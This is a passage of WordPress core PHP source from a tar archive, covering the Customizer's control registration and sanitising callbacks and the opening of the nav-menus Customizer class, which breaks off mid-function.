'remote', 'capability' => 'install_themes', 'panel' => 'themes', 'priority' => 5, ) ) ); } // Themes Setting (unused - the theme is considerably more fundamental to the Customizer experience). $this->add_setting( new WP_Customize_Filter_Setting( $this, 'active_theme', array( 'capability' => 'switch_themes', ) ) ); /* Site Identity */ $this->add_section( 'title_tagline', array( 'title' => __( 'Site Identity' ), 'priority' => 20, ) ); $this->add_setting( 'blogname', array( 'default' => get_option( 'blogname' ), 'type' => 'option', 'capability' => 'manage_options', ) ); $this->add_control( 'blogname', array( 'label' => __( 'Site Title' ), 'section' => 'title_tagline', ) ); $this->add_setting( 'blogdescription', array( 'default' => get_option( 'blogdescription' ), 'type' => 'option', 'capability' => 'manage_options', ) ); $this->add_control( 'blogdescription', array( 'label' => __( 'Tagline' ), 'section' => 'title_tagline', ) ); // Add a setting to hide header text if the theme doesn't support custom headers. if ( ! current_theme_supports( 'custom-header', 'header-text' ) ) { $this->add_setting( 'header_text', array( 'theme_supports' => array( 'custom-logo', 'header-text' ), 'default' => 1, 'sanitize_callback' => 'absint', ) ); $this->add_control( 'header_text', array( 'label' => __( 'Display Site Title and Tagline' ), 'section' => 'title_tagline', 'settings' => 'header_text', 'type' => 'checkbox', ) ); } $this->add_setting( 'site_icon', array( 'type' => 'option', 'capability' => 'manage_options', 'transport' => 'postMessage', // Previewed with JS in the Customizer controls window. ) ); $this->add_control( new WP_Customize_Site_Icon_Control( $this, 'site_icon', array( 'label' => __( 'Site Icon' ), 'description' => sprintf( '<p>' . __( 'Site Icons are what you see in browser tabs, bookmark bars, and within the WordPress mobile apps. Upload one here!' ) . '</p>' . /* translators: %s: Site icon size in pixels. */ '<p>' . __( 'Site Icons should be square and at least %s pixels.' ) . '</p>', '<strong>512 × 512</strong>' ), 'section' => 'title_tagline', 'priority' => 60, 'height' => 512, 'width' => 512, ) ) ); $this->add_setting( 'custom_logo', array( 'theme_supports' => array( 'custom-logo' ), 'transport' => 'postMessage', ) ); $custom_logo_args = get_theme_support( 'custom-logo' ); $this->add_control( new WP_Customize_Cropped_Image_Control( $this, 'custom_logo', array( 'label' => __( 'Logo' ), 'section' => 'title_tagline', 'priority' => 8, 'height' => isset( $custom_logo_args[0]['height'] ) ? $custom_logo_args[0]['height'] : null, 'width' => isset( $custom_logo_args[0]['width'] ) ? $custom_logo_args[0]['width'] : null, 'flex_height' => isset( $custom_logo_args[0]['flex-height'] ) ? $custom_logo_args[0]['flex-height'] : null, 'flex_width' => isset( $custom_logo_args[0]['flex-width'] ) ? $custom_logo_args[0]['flex-width'] : null, 'button_labels' => array( 'select' => __( 'Select logo' ), 'change' => __( 'Change logo' ), 'remove' => __( 'Remove' ), 'default' => __( 'Default' ), 'placeholder' => __( 'No logo selected' ), 'frame_title' => __( 'Select logo' ), 'frame_button' => __( 'Choose logo' ), ), ) ) ); $this->selective_refresh->add_partial( 'custom_logo', array( 'settings' => array( 'custom_logo' ), 'selector' => '.custom-logo-link', 'render_callback' => array( $this, '_render_custom_logo_partial' ), 'container_inclusive' => true, ) ); /* Colors */ $this->add_section( 'colors', array( 'title' => __( 'Colors' ), 'priority' => 40, ) ); $this->add_setting( 'header_textcolor', array( 'theme_supports' => array( 'custom-header', 'header-text' ), 'default' => get_theme_support( 'custom-header', 'default-text-color' ), 'sanitize_callback' => array( $this, '_sanitize_header_textcolor' ), 'sanitize_js_callback' => 'maybe_hash_hex_color', ) ); // Input type: checkbox. // With custom value. $this->add_control( 'display_header_text', array( 'settings' => 'header_textcolor', 'label' => __( 'Display Site Title and Tagline' ), 'section' => 'title_tagline', 'type' => 'checkbox', 'priority' => 40, ) ); $this->add_control( new WP_Customize_Color_Control( $this, 'header_textcolor', array( 'label' => __( 'Header Text Color' ), 'section' => 'colors', ) ) ); // Input type: color. // With sanitize_callback. $this->add_setting( 'background_color', array( 'default' => get_theme_support( 'custom-background', 'default-color' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => 'sanitize_hex_color_no_hash', 'sanitize_js_callback' => 'maybe_hash_hex_color', ) ); $this->add_control( new WP_Customize_Color_Control( $this, 'background_color', array( 'label' => __( 'Background Color' ), 'section' => 'colors', ) ) ); /* Custom Header */ if ( current_theme_supports( 'custom-header', 'video' ) ) { $title = __( 'Header Media' ); $description = '<p>' . __( 'If you add a video, the image will be used as a fallback while the video loads.' ) . '</p>'; $width = absint( get_theme_support( 'custom-header', 'width' ) ); $height = absint( get_theme_support( 'custom-header', 'height' ) ); if ( $width && $height ) { $control_description = sprintf( /* translators: 1: .mp4, 2: Header size in pixels. */ __( 'Upload your video in %1$s format and minimize its file size for best results. Your theme recommends dimensions of %2$s pixels.' ), '<code>.mp4</code>', sprintf( '<strong>%s × %s</strong>', $width, $height ) ); } elseif ( $width ) { $control_description = sprintf( /* translators: 1: .mp4, 2: Header width in pixels. */ __( 'Upload your video in %1$s format and minimize its file size for best results. Your theme recommends a width of %2$s pixels.' ), '<code>.mp4</code>', sprintf( '<strong>%s</strong>', $width ) ); } else { $control_description = sprintf( /* translators: 1: .mp4, 2: Header height in pixels. */ __( 'Upload your video in %1$s format and minimize its file size for best results. Your theme recommends a height of %2$s pixels.' ), '<code>.mp4</code>', sprintf( '<strong>%s</strong>', $height ) ); } } else { $title = __( 'Header Image' ); $description = ''; $control_description = ''; } $this->add_section( 'header_image', array( 'title' => $title, 'description' => $description, 'theme_supports' => 'custom-header', 'priority' => 60, ) ); $this->add_setting( 'header_video', array( 'theme_supports' => array( 'custom-header', 'video' ), 'transport' => 'postMessage', 'sanitize_callback' => 'absint', 'validate_callback' => array( $this, '_validate_header_video' ), ) ); $this->add_setting( 'external_header_video', array( 'theme_supports' => array( 'custom-header', 'video' ), 'transport' => 'postMessage', 'sanitize_callback' => array( $this, '_sanitize_external_header_video' ), 'validate_callback' => array( $this, '_validate_external_header_video' ), ) ); $this->add_setting( new WP_Customize_Filter_Setting( $this, 'header_image', array( 'default' => sprintf( get_theme_support( 'custom-header', 'default-image' ), get_template_directory_uri(), get_stylesheet_directory_uri() ), 'theme_supports' => 'custom-header', ) ) ); $this->add_setting( new WP_Customize_Header_Image_Setting( $this, 'header_image_data', array( 'theme_supports' => 'custom-header', ) ) ); /* * Switch image settings to postMessage when video support is enabled since * it entails that the_custom_header_markup() will be used, and thus selective * refresh can be utilized. */ if ( current_theme_supports( 'custom-header', 'video' ) ) { $this->get_setting( 'header_image' )->transport = 'postMessage'; $this->get_setting( 'header_image_data' )->transport = 'postMessage'; } $this->add_control( new WP_Customize_Media_Control( $this, 'header_video', array( 'theme_supports' => array( 'custom-header', 'video' ), 'label' => __( 'Header Video' ), 'description' => $control_description, 'section' => 'header_image', 'mime_type' => 'video', 'active_callback' => 'is_header_video_active', ) ) ); $this->add_control( 'external_header_video', array( 'theme_supports' => array( 'custom-header', 'video' ), 'type' => 'url', 'description' => __( 'Or, enter a YouTube URL:' ), 'section' => 'header_image', 'active_callback' => 'is_header_video_active', ) ); $this->add_control( new WP_Customize_Header_Image_Control( $this ) ); $this->selective_refresh->add_partial( 'custom_header', array( 'selector' => '#wp-custom-header', 'render_callback' => 'the_custom_header_markup', 'settings' => array( 'header_video', 'external_header_video', 'header_image' ), // The image is used as a video fallback here. 'container_inclusive' => true, ) ); /* Custom Background */ $this->add_section( 'background_image', array( 'title' => __( 'Background Image' ), 'theme_supports' => 'custom-background', 'priority' => 80, ) ); $this->add_setting( 'background_image', array( 'default' => get_theme_support( 'custom-background', 'default-image' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), ) ); $this->add_setting( new WP_Customize_Background_Image_Setting( $this, 'background_image_thumb', array( 'theme_supports' => 'custom-background', 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), ) ) ); $this->add_control( new WP_Customize_Background_Image_Control( $this ) ); $this->add_setting( 'background_preset', array( 'default' => get_theme_support( 'custom-background', 'default-preset' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), ) ); $this->add_control( 'background_preset', array( 'label' => _x( 'Preset', 'Background Preset' ), 'section' => 'background_image', 'type' => 'select', 'choices' => array( 'default' => _x( 'Default', 'Default Preset' ), 'fill' => __( 'Fill Screen' ), 'fit' => __( 'Fit to Screen' ), 'repeat' => _x( 'Repeat', 'Repeat Image' ), 'custom' => _x( 'Custom', 'Custom Preset' ), ), ) ); $this->add_setting( 'background_position_x', array( 'default' => get_theme_support( 'custom-background', 'default-position-x' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), ) ); $this->add_setting( 'background_position_y', array( 'default' => get_theme_support( 'custom-background', 'default-position-y' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), ) ); $this->add_control( new WP_Customize_Background_Position_Control( $this, 'background_position', array( 'label' => __( 'Image Position' ), 'section' => 'background_image', 'settings' => array( 'x' => 'background_position_x', 'y' => 'background_position_y', ), ) ) ); $this->add_setting( 'background_size', array( 'default' => get_theme_support( 'custom-background', 'default-size' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), ) ); $this->add_control( 'background_size', array( 'label' => __( 'Image Size' ), 'section' => 'background_image', 'type' => 'select', 'choices' => array( 'auto' => _x( 'Original', 'Original Size' ), 'contain' => __( 'Fit to Screen' ), 'cover' => __( 'Fill Screen' ), ), ) ); $this->add_setting( 'background_repeat', array( 'default' => get_theme_support( 'custom-background', 'default-repeat' ), 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), 'theme_supports' => 'custom-background', ) ); $this->add_control( 'background_repeat', array( 'label' => __( 'Repeat Background Image' ), 'section' => 'background_image', 'type' => 'checkbox', ) ); $this->add_setting( 'background_attachment', array( 'default' => get_theme_support( 'custom-background', 'default-attachment' ), 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), 'theme_supports' => 'custom-background', ) ); $this->add_control( 'background_attachment', array( 'label' => __( 'Scroll with Page' ), 'section' => 'background_image', 'type' => 'checkbox', ) ); // If the theme is using the default background callback, we can update // the background CSS using postMessage. if ( get_theme_support( 'custom-background', 'wp-head-callback' ) === '_custom_background_cb' ) { foreach ( array( 'color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment' ) as $prop ) { $this->get_setting( 'background_' . $prop )->transport = 'postMessage'; } } /* * Static Front Page * See also https://core.trac.wordpress.org/ticket/19627 which introduces the static-front-page theme_support. * The following replicates behavior from options-reading.php. */ $this->add_section( 'static_front_page', array( 'title' => __( 'Homepage Settings' ), 'priority' => 120, 'description' => __( 'You can choose what’s displayed on the homepage of your site. It can be posts in reverse chronological order (classic blog), or a fixed/static page. To set a static homepage, you first need to create two Pages. One will become the homepage, and the other will be where your posts are displayed.' ), 'active_callback' => array( $this, 'has_published_pages' ), ) ); $this->add_setting( 'show_on_front', array( 'default' => get_option( 'show_on_front' ), 'capability' => 'manage_options', 'type' => 'option', ) ); $this->add_control( 'show_on_front', array( 'label' => __( 'Your homepage displays' ), 'section' => 'static_front_page', 'type' => 'radio', 'choices' => array( 'posts' => __( 'Your latest posts' ), 'page' => __( 'A static page' ), ), ) ); $this->add_setting( 'page_on_front', array( 'type' => 'option', 'capability' => 'manage_options', ) ); $this->add_control( 'page_on_front', array( 'label' => __( 'Homepage' ), 'section' => 'static_front_page', 'type' => 'dropdown-pages', 'allow_addition' => true, ) ); $this->add_setting( 'page_for_posts', array( 'type' => 'option', 'capability' => 'manage_options', ) ); $this->add_control( 'page_for_posts', array( 'label' => __( 'Posts page' ), 'section' => 'static_front_page', 'type' => 'dropdown-pages', 'allow_addition' => true, ) ); /* Custom CSS */ $section_description = '<p>'; $section_description .= __( 'Add your own CSS code here to customize the appearance and layout of your site.' ); $section_description .= sprintf( ' <a href="%1$s" class="external-link" target="_blank">%2$s<span class="screen-reader-text"> %3$s</span></a>', esc_url( __( 'https://codex.wordpress.org/CSS' ) ), __( 'Learn more about CSS' ), /* translators: Accessibility text. */ __( '(opens in a new tab)' ) ); $section_description .= '</p>'; $section_description .= '<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>'; $section_description .= '<ul>'; $section_description .= '<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>'; $section_description .= '<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>'; $section_description .= '<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '</li>'; $section_description .= '</ul>'; if ( 'false' !== wp_get_current_user()->syntax_highlighting ) { $section_description .= '<p>'; $section_description .= sprintf( /* translators: 1: Link to user profile, 2: Additional link attributes, 3: Accessibility text. */ __( 'The edit field automatically highlights code syntax. You can disable this in your <a href="%1$s" %2$s>user profile%3$s</a> to work in plain text mode.' ), esc_url( get_edit_profile_url() ), 'class="external-link" target="_blank"', sprintf( '<span class="screen-reader-text"> %s</span>', /* translators: Accessibility text. */ __( '(opens in a new tab)' ) ) ); $section_description .= '</p>'; } $section_description .= '<p class="section-description-buttons">'; $section_description .= '<button type="button" class="button-link section-description-close">' . __( 'Close' ) . '</button>'; $section_description .= '</p>'; $this->add_section( 'custom_css', array( 'title' => __( 'Additional CSS' ), 'priority' => 200, 'description_hidden' => true, 'description' => $section_description, ) ); $custom_css_setting = new WP_Customize_Custom_CSS_Setting( $this, sprintf( 'custom_css[%s]', get_stylesheet() ), array( 'capability' => 'edit_css', 'default' => '', ) ); $this->add_setting( $custom_css_setting ); $this->add_control( new WP_Customize_Code_Editor_Control( $this, 'custom_css', array( 'label' => __( 'CSS code' ), 'section' => 'custom_css', 'settings' => array( 'default' => $custom_css_setting->id ), 'code_type' => 'text/css', 'input_attrs' => array( 'aria-describedby' => 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4', ), ) ) ); } /** * Return whether there are published pages. * * Used as active callback for static front page section and controls. * * @since 4.7.0 * * @return bool Whether there are published (or to be published) pages. */ public function has_published_pages() { $setting = $this->get_setting( 'nav_menus_created_posts' ); if ( $setting ) { foreach ( $setting->value() as $post_id ) { if ( 'page' === get_post_type( $post_id ) ) { return true; } } } return 0 !== count( get_pages() ); } /** * Add settings from the POST data that were not added with code, e.g. dynamically-created settings for Widgets * * @since 4.2.0 * * @see add_dynamic_settings() */ public function register_dynamic_settings() { $setting_ids = array_keys( $this->unsanitized_post_values() ); $this->add_dynamic_settings( $setting_ids ); } /** * Load themes into the theme browsing/installation UI. * * @since 4.9.0 */ public function handle_load_themes_request() { check_ajax_referer( 'switch_themes', 'nonce' ); if ( ! current_user_can( 'switch_themes' ) ) { wp_die( -1 ); } if ( empty( $_POST['theme_action'] ) ) { wp_send_json_error( 'missing_theme_action' ); } $theme_action = sanitize_key( $_POST['theme_action'] ); $themes = array(); $args = array(); // Define query filters based on user input. if ( ! array_key_exists( 'search', $_POST ) ) { $args['search'] = ''; } else { $args['search'] = sanitize_text_field( wp_unslash( $_POST['search'] ) ); } if ( ! array_key_exists( 'tags', $_POST ) ) { $args['tag'] = ''; } else { $args['tag'] = array_map( 'sanitize_text_field', wp_unslash( (array) $_POST['tags'] ) ); } if ( ! array_key_exists( 'page', $_POST ) ) { $args['page'] = 1; } else { $args['page'] = absint( $_POST['page'] ); } require_once ABSPATH . 'wp-admin/includes/theme.php'; if ( 'installed' === $theme_action ) { // Load all installed themes from wp_prepare_themes_for_js(). $themes = array( 'themes' => wp_prepare_themes_for_js() ); foreach ( $themes['themes'] as &$theme ) { $theme['type'] = 'installed'; $theme['active'] = ( isset( $_POST['customized_theme'] ) && $_POST['customized_theme'] === $theme['id'] ); } } elseif ( 'wporg' === $theme_action ) { // Load WordPress.org themes from the .org API and normalize data to match installed theme objects. if ( ! current_user_can( 'install_themes' ) ) { wp_die( -1 ); } // Arguments for all queries. $wporg_args = array( 'per_page' => 100, 'fields' => array( 'reviews_url' => true, // Explicitly request the reviews URL to be linked from the customizer. ), ); $args = array_merge( $wporg_args, $args ); if ( '' === $args['search'] && '' === $args['tag'] ) { $args['browse'] = 'new'; // Sort by latest themes by default. } // Load themes from the .org API. $themes = themes_api( 'query_themes', $args ); if ( is_wp_error( $themes ) ) { wp_send_json_error(); } // This list matches the allowed tags in wp-admin/includes/theme-install.php. $themes_allowedtags = array_fill_keys( array( 'a', 'abbr', 'acronym', 'code', 'pre', 'em', 'strong', 'div', 'p', 'ul', 'ol', 'li', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'img' ), array() ); $themes_allowedtags['a'] = array_fill_keys( array( 'href', 'title', 'target' ), true ); $themes_allowedtags['acronym']['title'] = true; $themes_allowedtags['abbr']['title'] = true; $themes_allowedtags['img'] = array_fill_keys( array( 'src', 'class', 'alt' ), true ); // Prepare a list of installed themes to check against before the loop. $installed_themes = array(); $wp_themes = wp_get_themes(); foreach ( $wp_themes as $theme ) { $installed_themes[] = $theme->get_stylesheet(); } $update_php = network_admin_url( 'update.php?action=install-theme' ); // Set up properties for themes available on WordPress.org. foreach ( $themes->themes as &$theme ) { $theme->install_url = add_query_arg( array( 'theme' => $theme->slug, '_wpnonce' => wp_create_nonce( 'install-theme_' . $theme->slug ), ), $update_php ); $theme->name = wp_kses( $theme->name, $themes_allowedtags ); $theme->version = wp_kses( $theme->version, $themes_allowedtags ); $theme->description = wp_kses( $theme->description, $themes_allowedtags ); $theme->stars = wp_star_rating( array( 'rating' => $theme->rating, 'type' => 'percent', 'number' => $theme->num_ratings, 'echo' => false, ) ); $theme->num_ratings = number_format_i18n( $theme->num_ratings ); $theme->preview_url = set_url_scheme( $theme->preview_url ); // Handle themes that are already installed as installed themes. if ( in_array( $theme->slug, $installed_themes, true ) ) { $theme->type = 'installed'; } else { $theme->type = $theme_action; } // Set active based on customized theme. $theme->active = ( isset( $_POST['customized_theme'] ) && $_POST['customized_theme'] === $theme->slug ); // Map available theme properties to installed theme properties. $theme->id = $theme->slug; $theme->screenshot = array( $theme->screenshot_url ); $theme->authorAndUri = wp_kses( $theme->author['display_name'], $themes_allowedtags ); $theme->compatibleWP = is_wp_version_compatible( $theme->requires ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName $theme->compatiblePHP = is_php_version_compatible( $theme->requires_php ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName if ( isset( $theme->parent ) ) { $theme->parent = $theme->parent['slug']; } else { $theme->parent = false; } unset( $theme->slug ); unset( $theme->screenshot_url ); unset( $theme->author ); } // End foreach(). } // End if(). /** * Filters the theme data loaded in the customizer. * * This allows theme data to be loading from an external source, * or modification of data loaded from `wp_prepare_themes_for_js()` * or WordPress.org via `themes_api()`. * * @since 4.9.0 * * @see wp_prepare_themes_for_js() * @see themes_api() * @see WP_Customize_Manager::__construct() * * @param array $themes Nested array of theme data. * @param array $args List of arguments, such as page, search term, and tags to query for. * @param WP_Customize_Manager $manager Instance of Customize manager. */ $themes = apply_filters( 'customize_load_themes', $themes, $args, $this ); wp_send_json_success( $themes ); } /** * Callback for validating the header_textcolor value. * * Accepts 'blank', and otherwise uses sanitize_hex_color_no_hash(). * Returns default text color if hex color is empty. * * @since 3.4.0 * * @param string $color * @return mixed */ public function _sanitize_header_textcolor( $color ) { if ( 'blank' === $color ) { return 'blank'; } $color = sanitize_hex_color_no_hash( $color ); if ( empty( $color ) ) { $color = get_theme_support( 'custom-header', 'default-text-color' ); } return $color; } /** * Callback for validating a background setting value. * * @since 4.7.0 * * @param string $value Repeat value. * @param WP_Customize_Setting $setting Setting. * @return string|WP_Error Background value or validation error. */ public function _sanitize_background_setting( $value, $setting ) { if ( 'background_repeat' === $setting->id ) { if ( ! in_array( $value, array( 'repeat-x', 'repeat-y', 'repeat', 'no-repeat' ), true ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value for background repeat.' ) ); } } elseif ( 'background_attachment' === $setting->id ) { if ( ! in_array( $value, array( 'fixed', 'scroll' ), true ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value for background attachment.' ) ); } } elseif ( 'background_position_x' === $setting->id ) { if ( ! in_array( $value, array( 'left', 'center', 'right' ), true ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value for background position X.' ) ); } } elseif ( 'background_position_y' === $setting->id ) { if ( ! in_array( $value, array( 'top', 'center', 'bottom' ), true ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value for background position Y.' ) ); } } elseif ( 'background_size' === $setting->id ) { if ( ! in_array( $value, array( 'auto', 'contain', 'cover' ), true ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value for background size.' ) ); } } elseif ( 'background_preset' === $setting->id ) { if ( ! in_array( $value, array( 'default', 'fill', 'fit', 'repeat', 'custom' ), true ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value for background size.' ) ); } } elseif ( 'background_image' === $setting->id || 'background_image_thumb' === $setting->id ) { $value = empty( $value ) ? '' : esc_url_raw( $value ); } else { return new WP_Error( 'unrecognized_setting', __( 'Unrecognized background setting.' ) ); } return $value; } /** * Export header video settings to facilitate selective refresh. * * @since 4.7.0 * * @param array $response Response. * @param WP_Customize_Selective_Refresh $selective_refresh Selective refresh component. * @param array $partials Array of partials. * @return array */ public function export_header_video_settings( $response, $selective_refresh, $partials ) { if ( isset( $partials['custom_header'] ) ) { $response['custom_header_settings'] = get_header_video_settings(); } return $response; } /** * Callback for validating the header_video value. * * Ensures that the selected video is less than 8MB and provides an error message. * * @since 4.7.0 * * @param WP_Error $validity * @param mixed $value * @return mixed */ public function _validate_header_video( $validity, $value ) { $video = get_attached_file( absint( $value ) ); if ( $video ) { $size = filesize( $video ); if ( $size > 8 * MB_IN_BYTES ) { $validity->add( 'size_too_large', __( 'This video file is too large to use as a header video. Try a shorter video or optimize the compression settings and re-upload a file that is less than 8MB. Or, upload your video to YouTube and link it with the option below.' ) ); } if ( '.mp4' !== substr( $video, -4 ) && '.mov' !== substr( $video, -4 ) ) { // Check for .mp4 or .mov format, which (assuming h.264 encoding) are the only cross-browser-supported formats. $validity->add( 'invalid_file_type', sprintf( /* translators: 1: .mp4, 2: .mov */ __( 'Only %1$s or %2$s files may be used for header video. Please convert your video file and try again, or, upload your video to YouTube and link it with the option below.' ), '<code>.mp4</code>', '<code>.mov</code>' ) ); } } return $validity; } /** * Callback for validating the external_header_video value. * * Ensures that the provided URL is supported. * * @since 4.7.0 * * @param WP_Error $validity * @param mixed $value * @return mixed */ public function _validate_external_header_video( $validity, $value ) { $video = esc_url_raw( $value ); if ( $video ) { if ( ! preg_match( '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#', $video ) ) { $validity->add( 'invalid_url', __( 'Please enter a valid YouTube URL.' ) ); } } return $validity; } /** * Callback for sanitizing the external_header_video value. * * @since 4.7.1 * * @param string $value URL. * @return string Sanitized URL. */ public function _sanitize_external_header_video( $value ) { return esc_url_raw( trim( $value ) ); } /** * Callback for rendering the custom logo, used in the custom_logo partial. * * This method exists because the partial object and context data are passed * into a partial's render_callback so we cannot use get_custom_logo() as * the render_callback directly since it expects a blog ID as the first * argument. When WP no longer supports PHP 5.3, this method can be removed * in favor of an anonymous function. * * @see WP_Customize_Manager::register_controls() * * @since 4.5.0 * * @return string Custom logo. */ public function _render_custom_logo_partial() { return get_custom_logo(); } } ������������������������class-wp-customize-nav-menus.php��������������������������������������������������������������������0000644�����������������00000156703�15120262030�0012740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress Customize Nav Menus classes * * @package WordPress * @subpackage Customize * @since 4.3.0 */ /** * Customize Nav Menus class. * * Implements menu management in the Customizer. * * @since 4.3.0 * * @see WP_Customize_Manager */ final class WP_Customize_Nav_Menus { /** * WP_Customize_Manager instance. * * @since 4.3.0 * @var WP_Customize_Manager */ public $manager; /** * Original nav menu locations before the theme was switched. * * @since 4.9.0 * @var array */ protected $original_nav_menu_locations; /** * Constructor. * * @since 4.3.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. */ public function __construct( $manager ) { $this->manager = $manager; $this->original_nav_menu_locations = get_nav_menu_locations(); // See https://github.com/xwp/wp-customize-snapshots/blob/962586659688a5b1fd9ae93618b7ce2d4e7a421c/php/class-customize-snapshot-manager.php#L469-L499 add_action( 'customize_register', array( $this, 'customize_register' ), 11 ); add_filter( 'customize_dynamic_setting_args', array( $this, 'filter_dynamic_setting_args' ), 10, 2 ); add_filter( 'customize_dynamic_setting_class', array( $this, 'filter_dynamic_setting_class' ), 10, 3 ); add_action( 'customize_save_nav_menus_created_posts', array( $this, 'save_nav_menus_created_posts' ) ); // Skip remaining hooks when the user can't manage nav menus anyway. if ( ! current_user_can( 'edit_theme_options' ) ) { return; } add_filter( 'customize_refresh_nonces', array( $this, 'filter_nonces' ) ); add_action( 'wp_ajax_load-available-menu-items-customizer', array( $this, 'ajax_load_available_items' ) ); add_action( 'wp_ajax_search-available-menu-items-customizer', array( $this, 'ajax_search_available_items' ) ); add_action( 'wp_ajax_customize-nav-menus-insert-auto-draft', array( $this, 'ajax_insert_auto_draft_post' ) ); add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_templates' ) ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'available_items_template' ) ); add_action( 'customize_preview_init', array( $this, 'customize_preview_init' ) ); add_action( 'customize_preview_init', array( $this, 'make_auto_draft_status_previewable' ) ); // Selective Refresh partials. add_filter( 'customize_dynamic_partial_args', array( $this, 'customize_dynamic_partial_args' ), 10, 2 ); } /** * Adds a nonce for customizing menus. * * @since 4.5.0 * * @param string[] $nonces Array of nonces. * @return string[] Modified array of nonces. */ public function filter_nonces( $nonces ) { $nonces['customize-menus'] = wp_create_nonce( 'customize-menus' ); return $nonces; } /** * Ajax handler for loading available menu items. * * @since 4.3.0 */ public function ajax_load_available_items() { check_ajax_referer( 'customize-menus', 'customize-menus-nonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_die( -1 ); } $all_items = array(); $item_types = array(); if ( isset( $_POST['item_types'] ) && is_array( $_POST['item_types'] ) ) { $item_types = wp_unslash( $_POST['item_types'] ); } elseif ( isset( $_POST['type'] ) && isset( $_POST['object'] ) ) { // Back compat. $item_types[] = array( 'type' => wp_unslash( $_POST['type'] ), 'object' => wp_unslash( $_POST['object'] ), 'page' => empty( $_POST['page'] ) ? 0 : absint( $_POST['page'] ), ); } else { wp_send_json_error( 'nav_menus_missing_type_or_object_parameter' ); } foreach ( $item_types as $item_type ) { if ( empty( $item_type['type'] ) || empty( $item_type['object'] ) ) { wp_send_json_error( 'nav_menus_missing_type_or_object_parameter' ); } $type = sanitize_key( $item_type['type'] ); $object = sanitize_key( $item_type['object'] ); $page = empty( $item_type['page'] ) ? 0 : absint( $item_type['page'] ); $items = $this->load_available_items_query( $type, $object, $page ); if ( is_wp_error( $items ) ) { wp_send_json_error( $items->get_error_code() ); } $all_items[ $item_type['type'] . ':' . $item_type['object'] ] = $items; } wp_send_json_success( array( 'items' => $all_items ) ); } /** * Performs the post_type and taxonomy queries for loading available menu items. * * @since 4.3.0 * * @param string $type Optional. Accepts any custom object type and has built-in support for * 'post_type' and 'taxonomy'. Default is 'post_type'. * @param string $object Optional. Accepts any registered taxonomy or post type name. Default is 'page'. * @param int $page Optional. The page number used to generate the query offset. Default is '0'. * @return array|WP_Error An array of menu items on success, a WP_Error object on failure. */ public function load_available_items_query( $type = 'post_type', $object = 'page', $page = 0 ) { $items = array(); if ( 'post_type' === $type ) { $post_type = get_post_type_object( $object ); if ( ! $post_type ) { return new WP_Error( 'nav_menus_invalid_post_type' ); } /* * If we're dealing with pages, let's prioritize the Front Page, * Posts Page and Privacy Policy Page at the top of the list. */ $important_pages = array(); $suppress_page_ids = array(); if ( 0 === $page && 'page' === $object ) { // Insert Front Page or custom "Home" link. $front_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_on_front' ) : 0; if ( ! empty( $front_page ) ) { $front_page_obj = get_post( $front_page ); $important_pages[] = $front_page_obj; $suppress_page_ids[] = $front_page_obj->ID; } else { // Add "Home" link. Treat as a page, but switch to custom on add. $items[] = array( 'id' => 'home', 'title' => _x( 'Home', 'nav menu home label' ), 'type' => 'custom', 'type_label' => __( 'Custom Link' ), 'object' => '', 'url' => home_url(), ); } // Insert Posts Page. $posts_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_for_posts' ) : 0; if ( ! empty( $posts_page ) ) { $posts_page_obj = get_post( $posts_page ); $important_pages[] = $posts_page_obj; $suppress_page_ids[] = $posts_page_obj->ID; } // Insert Privacy Policy Page. $privacy_policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' ); if ( ! empty( $privacy_policy_page_id ) ) { $privacy_policy_page = get_post( $privacy_policy_page_id ); if ( $privacy_policy_page instanceof WP_Post && 'publish' === $privacy_policy_page->post_status ) { $important_pages[] = $privacy_policy_page; $suppress_page_ids[] = $privacy_policy_page->ID; } } } elseif ( 'post' !== $object && 0 === $page && $post_type->has_archive ) { // Add a post type archive link. $items[] = array( 'id' => $object . '-archive', 'title' => $post_type->labels->archives, 'type' => 'post_type_archive', 'type_label' => __( 'Post Type Archive' ), 'object' => $object, 'url' => get_post_type_archive_link( $object ), ); } // Prepend posts with nav_menus_created_posts on first page. $posts = array(); if ( 0 === $page && $this->manager->get_setting( 'nav_menus_created_posts' ) ) { foreach ( $this->manager->get_setting( 'nav_menus_created_posts' )->value() as $post_id ) { $auto_draft_post = get_post( $post_id ); if ( $post_type->name === $auto_draft_post->post_type ) { $posts[] = $auto_draft_post; } } } 